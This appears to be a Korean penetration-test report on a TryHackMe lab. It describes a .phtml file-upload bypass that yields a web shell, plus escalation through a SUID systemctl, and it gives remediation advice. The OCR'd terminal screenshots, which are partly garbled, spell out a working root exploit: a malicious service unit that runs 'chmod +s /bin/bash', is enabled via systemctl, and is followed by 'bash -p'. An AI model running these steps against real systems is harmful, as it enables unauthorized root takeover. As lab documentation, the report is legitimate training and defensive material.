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1 [bookmark: _Toc225015123]결과 요약
1.1 [bookmark: _Toc225015124]총평
본 시스템 취약점의 시작은 /internal/ 경로에 노출된 파일 업로드 기능이었습니다. 서버 측에서 수행하는 확장자 검증이 블랙리스트 방식의 허술한 구조(.phtml 허용)로 구현되어 있어, 공격자가 필터링을 우회하여 임의의 코드를 실행할 수 있는 리버스 쉘(Reverse Shell) 업로드가 가능했습니다.

초기 침투 성공 이후, 시스템 내부 조사를 통해 발견된 /bin/systemctl의 SUID 설정은 권한 상승의 결정적인 보안 결함이었습니다. 시스템 서비스 관리 도구인 systemctl에 SUID 비트가 설정되어 있어, 일반 사용자가 관리자 권한으로 임의의 유닛 파일을 등록 및 실행함으로써 시스템 최고 권한(root)을 획득할 수 있었습니다.

결과적으로, 불충분한 입력값 검증과 운영체제 수준의 권한 설정 오류가 결합되어 시스템 전체의 제어권이 탈취되는 치명적인 결과를 초래했습니다.
2.1 [bookmark: _Toc225015125]표 정리

	No
	대상
	취약점
	비고

	1
	파일 업로드
	불완전한 확장자 검증 
	우회 확장자 차단 및 화이트리스트 도입 요망

	2
	systemctl
	불필요한 SUID 설정
	SUID 제거 요망










[bookmark: _Toc225015126]2. 취약점 상세 
2.1 [bookmark: _Toc225015127]파일업로드(웹 쉘)
[image: ]
그림 1. 파일업로드
[image: ]
그림 2. 확장자 브루트 포스
[image: ]
그림 3. 쉘 획득
· 업로드 가능한 확장자 검증
· 웹 쉘 스크립트를 업로드하여
· 대상 시스템의 쉘을 획득하였습니다.

2.2 [bookmark: _Toc225015128]Setuid 취약점 (systemctl)
[image: ]
그림 4. setuid 실행 파일 확인


[image: ]
그림 5. SUID를 이용하여 권한 상승
· systemctl 실행파일에 걸려있는
· Setuid를 이용하여
· root권한 탈취










[bookmark: _Toc225015129]3. 보안 권고안
3.1 [bookmark: _Toc225015130]RCE 조치 방안
	취약점 항목
	불완전한 확장자 검증 (File Upload)

	취약점 개요
	확장자 우회를 통해 웹 쉘 스크립트 파일을 업로드 한다.

	보안 조치 방법

	- 서버측에서 .php, .phtml, .php5 등 실행 가능한 확장자 차단
(White-list 방식 권장)

- 업로드된 파일의 실행 권한 제거 (noexec 마운트 옵션 등)

- 파일명을 난수화하여 저장



3.2 [bookmark: _Toc225015131]setuid 조치 방안 
	취약점 항목
	불필요한 setuid 설정

	취약점 개요
	systemctl에 설정된 SUID를 이용하여 root 권한 탈취

	보안 조치 방법

	- /bin/systemctl 등 관리 목적 외의 바이너리에 설정된 SUID 비트 제거

- find / -perm -4000 명령을 통한 정기적인 권한 오남용 점검
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Session Actions Edit View Help
kali@kali: ~/webshell Bl root@kali: ~/tryhackme/Vulnversity Bl kali@kali: ~/webshell B lkali@kali:~ B

wwi-data@ip-10-67-168-61: /home/bill$
wi-data@ip-10-67-168-61: /home/bill$ find / -perm -4000 -print 2>/dev/null
find / -perm -4000 print 2>/dev/null
/ust/bin/newuidnap

/ust/bin/chfn

/ust/bin/newgidnap

/ust/bin/sudo

/ust/bin/chsh

/ust/bin/passwd

/ust/bin/pkexec

/ust/bin/newgrp

/ust/bin/gpasswud

Just/bin/at

/ust/1ib/snapd/snap-confine
/ust/lib/policykit-1/polkit-agent-helper-1
/ust/lib/openssh/ssh-keysign
/ust/lib/eject/dncrypt-get-device
/ust/1ib/dbus-1.0/dbus-daemon-launch-helper
/ust/1ib/x86_64-1inux-gnu/Lxc/1xc-user-nic
/bin/su

/bin/mount

/bin/umount

/bin/fusermount
/snap/snapd/24505/usr/1ib/snapd/snap-confine
/snap/core20/2582/ust/bin/chfn
/snap/core20/2582/ust/bin/chsh
/snap/core20/2582/ust/bin/gpasswd
/snap/core20/2582/usr/bin/mount
/snap/core20/2582/ust/bin/newgrp
/snap/core20/2582/usr/bin/passud
/snap/core20/2582/ust/bin/su
/snap/core20/2582/ust/bin/sudo
/snap/core20/2582/ust/bin/umount
/snap/core20/2582/usr/1ib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/2582/usr/lib/openssh/ssh-keysign
/sbin/mount.cifs

wini-data@ip-10-67-168-61: /home/bill$ Il
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kali@kali: ~/webshell Bl root@kali: ~/tryhackme/Vulnversity Bl kali@kali: ~/webshell B lkali@kali:~ B

drux 3 root root 4096 Mar 20 00:54 systemd-private-1agsadeffa35.763aag1e328daba317e-systemd-resolved. service-ngullg
drux 3 root root 4096 Mar 20 00:54 systemd-private-1agsadeffa35.763aagle328daba317e-systemd-timesyncd.service-269f2g
wi-data@ip-10-67-168-61: /tmp$ echo *[Service]

Type=oneshot

Execstart=/bin/bash ~c “"chmod +s /bin/bash”

[Install]

WantedBy=nulti-user.target’ > root.serviceecho ‘[Service]

> Type=oneshot

> Execstart=/bin/bash ~c "chmod +s /bin/bash”

> [Install]

>

WantedBy=nulti-user.target’ > root.service

wwi-datagip-10-67-168-61: /tmp$ 1s -1

1s -1

total 20
~rw-rw-rw- 1 ww-data ww-data 104 Mar 20 root.service

drux 3 root  root 4096 Mar 20 snap-private-tmp

drux 3root  root 4096 Mar 20 systemd-private-1a88a0ef fa3s4763aa91e328daba317e-systend-logind. service-Ro48zg
drux 3root  root 4096 Mar 20 systemd-private-1agga0ef fa354763aa91e328daba317e-systend-resolved. service-ngullg
drux 3 root  root 4096 Mar 20 00:54 systemd-private-laggaOeffa354763aa91e328daba317e-systemd-timesyncd.service-z692g

wi-data@ip-10-67-168-6
cat root.service
[Service]

Type=oneshot
Execstart=/bin/bash -c "chmod +s /bin/bash”

[Install]

WantedBy=nulti-user. target

wawi-data@ip-10-67-168-61: /tmp$ /bin/systemctl link /tmp/root.service

/bin/systemctl link /tmp/root.service

Created symlink /etc/systemd/system/root.service > /tmp/root.service.
wwi-data@ip-10-67-168-61:/tmp$ /bin/systemctl enable —now /tmp/root.service

/bin/systemctl enable —now /tmp/root.service

Created symlink /etc/systemd/system/multi-user.target.wants/root.service 3 /tmp/root.service.
wi-data@ip-10-67-168-61: /tmp$ /bin/bash —p

/bin/bash -p

bash-5.0% id

id

uid=33(wm-data) gid=33(wm-data) euid=(root) egid=0(root) groups=0(root),33(mm-data)
bash-5.0z |

tnp$ cat root.service
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